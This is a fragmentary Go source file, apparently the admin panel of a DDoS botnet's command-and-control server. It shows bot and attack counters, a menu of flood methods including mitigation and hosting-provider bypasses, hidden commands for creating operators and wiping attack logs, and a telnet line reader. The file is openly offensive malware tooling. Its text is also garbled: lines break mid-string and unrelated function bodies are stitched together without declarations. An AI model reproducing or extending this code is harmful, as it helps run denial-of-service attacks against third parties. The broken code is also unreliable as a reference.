admin.go
admin.go
import (
"fmt"
"log"
"net"
"os"
"strconv"
"strings"
"time"
)
go func() {
i := 0
for {
var BotCount int
if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -
1 {
BotCount = userInfo.maxBots
} else {
BotCount = clientList.Count()
}
time.Sleep(time.Second)
if userInfo.admin == 1 {
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d
Devices :: %d Running Attacks :: %d Sent Attacks :: %d users\007", BotCount,
database.fetchRunningAttacks(), database.fetchAttacks(), database.fetchUsers())));
err != nil {
this.conn.Close()
break
}
}
if userInfo.admin == 0 {
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d
Devices :: %d Running Attacks\007", BotCount, database.fetchRunningAttacks())));
err != nil {
this.conn.Close()
break
}
}
i++
if i%60 == 0 {
this.conn.SetDeadline(time.Now().Add(120 * time.Second))
}
}
}()
for {
var botCatagory string
var botCount int
this.conn.Write([]byte("\x1b[36m \x1b[36m" + username + " \x1b[36m●
averis \033[0m\x1b[36m ➤➤ "))
cmd, err := this.ReadLine(false)
if err != nil || cmd == "exit" || cmd == "quit" {
return
}
if cmd == "" {
continue
}
if err != nil || cmd == "cls" || cmd == "clear" || cmd == "c" {
this.conn.Write([]byte("\033[2J\033[1;1H"))
this.conn.Write([]byte("\r\x1b[34m╔═╗╦ ╦╔═╗╦═╗╦╔═╗\r\n"))
this.conn.Write([]byte("\r\x1b[36m╠═╣╚╗╔╝║╣ ╠╦╝║╚═╗\r\n"))
this.conn.Write([]byte("\r\x1b[34m╩ ╩ ╚╝ ╚═╝╩╚═╩╚═╝\r\n"))
this.conn.Write([]byte("\r\n\033[0m"))
continue
}
if cmd == "help" || cmd == "HELP" || cmd == "?" || cmd == "methods" {
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mUDP - UDP
packet flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mTCP - TCP
packet flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mOVHDROP - TCP
packet flood for OVH hosting \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mBYPASS - UDP
packet flood with bypass \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mHEX - HEX
flood with length=1400 \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mNFO -
Bypass for NFO servers \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mRAW - UDP
packet flood through raw socket \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mCUDP - UDP
flood with custom payload \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mHANDSHAKE -
Stomp/handshake flood to bypass mitigation devices \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mNUDP - UDP
flood optimized for higher PPS rate \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mACK - ACK
flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mSTD - STD
flood (UID1 supported) \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mSYN - SYN
flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mOVHUDP - OVH
UDP flood \r\n"))
this.conn.Write([]byte("\x1b[36m│\x1b[37mUDPHEX -
UDPHEX flood \r\n"))
continue
}
if err != nil || cmd == "logout" || cmd == "LOGOUT" {
return
}
if userInfo.admin == 1 && cmd == "xnxxhelp" {
this.conn.Write([]byte("\033[2J\033[1H"))
this.conn.Write([]byte("\x1b[36mxnxxuser \x1b[34m- \
x1b[36mADD NEW NORMAL USER\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxadmin \x1b[34m- \
x1b[36mADD NEW ADMIN\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxremove \x1b[34m- \
x1b[36mREMOVE USER\r\n"))
this.conn.Write([]byte("\x1b[36mxnxxlogs \x1b[34m- \
x1b[36mREMOVE ATTACKS LOGS\r\n"))
this.conn.Write([]byte("\x1b[36mcount \x1b[34m- \
x1b[36mSHOW ALL BOTS\r\n"))
continue
}
if len(cmd) > 0 {
log.SetFlags(log.LstdFlags)
output, err := os.OpenFile("logs/commands.txt", os.O_APPEND|
os.O_CREATE|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("Error: ", err)
}
usernameFormat := "username:"
cmdFormat := "command:"
ipFormat := "ip:"
cmdSplit := "|"
log.SetOutput(output)
log.Println(cmdSplit, usernameFormat, username, cmdSplit,
cmdFormat, cmd, cmdSplit, ipFormat, this.conn.RemoteAddr())
}
botCount = userInfo.maxBots
if userInfo.admin == 1 && cmd == "xnxxadmin" {
this.conn.Write([]byte("Username: "))
new_un, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("Password: "))
new_pw, err := this.ReadLine(false)
if err != nil {
return
}
this.conn.Write([]byte("-1 for Full Bots.\r\n"))
this.conn.Write([]byte("Allowed Bots: "))
max_bots_str, err := this.ReadLine(false)
if err != nil {
return
}
max_bots, err := strconv.Atoi(max_bots_str)
if err != nil {
continue
}
this.conn.Write([]byte("0 for Max attack duration. \r\n"))
this.conn.Write([]byte("Allowed Duration: "))
duration_str, err := this.ReadLine(false)
if err != nil {
return
}
duration, err := strconv.Atoi(duration_str)
if err != nil {
continue
}
this.conn.Write([]byte("0 for no cooldown. \r\n"))
this.conn.Write([]byte("Cooldown: "))
cooldown_str, err := this.ReadLine(false)
if err != nil {
return
}
cooldown, err := strconv.Atoi(cooldown_str)
if err != nil {
continue
}
this.conn.Write([]byte("Username: " + new_un + "\r\n"))
this.conn.Write([]byte("Password: " + new_pw + "\r\n"))
this.conn.Write([]byte("Duration: " + duration_str + "\r\n"))
this.conn.Write([]byte("Cooldown: " + cooldown_str + "\r\n"))
this.conn.Write([]byte("Bots: " + max_bots_str + "\r\n"))
this.conn.Write([]byte(""))
this.conn.Write([]byte("Confirm(y): "))
confirm, err := this.ReadLine(false)
if err != nil {
return
}
if confirm != "y" {
continue
}
if !database.createAdmin(new_un, new_pw, max_bots, duration,
cooldown) {
this.conn.Write([]byte("Failed to create Admin! \r\n"))
} else {
this.conn.Write([]byte("Admin created! \r\n"))
}
continue
}
for {
n, err := this.conn.Read(buf[bufPos : bufPos+1])
if err != nil || n != 1 {
return "", err
}
if buf[bufPos] == '\xFF' {
n, err := this.conn.Read(buf[bufPos : bufPos+2])
if err != nil || n != 2 {
return "", err
}
bufPos--
} else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
if bufPos > 0 {
this.conn.Write([]byte(string(buf[bufPos])))
bufPos--
}
bufPos--
} else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] ==
'\x09' {
bufPos--
} else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
this.conn.Write([]byte("\r\n"))
return string(buf[:bufPos]), nil
} else if buf[bufPos] == 0x03 {
this.conn.Write([]byte("^C\r\n"))
return "", nil
} else {
if buf[bufPos] == '\x1B' {
buf[bufPos] = '^'
this.conn.Write([]byte(string(buf[bufPos])))
bufPos++
buf[bufPos] = '['
this.conn.Write([]byte(string(buf[bufPos])))
} else if masked {
this.conn.Write([]byte("*"))
} else {
this.conn.Write([]byte(string(buf[bufPos])))
}
}
bufPos++
}
return string(buf), nil
}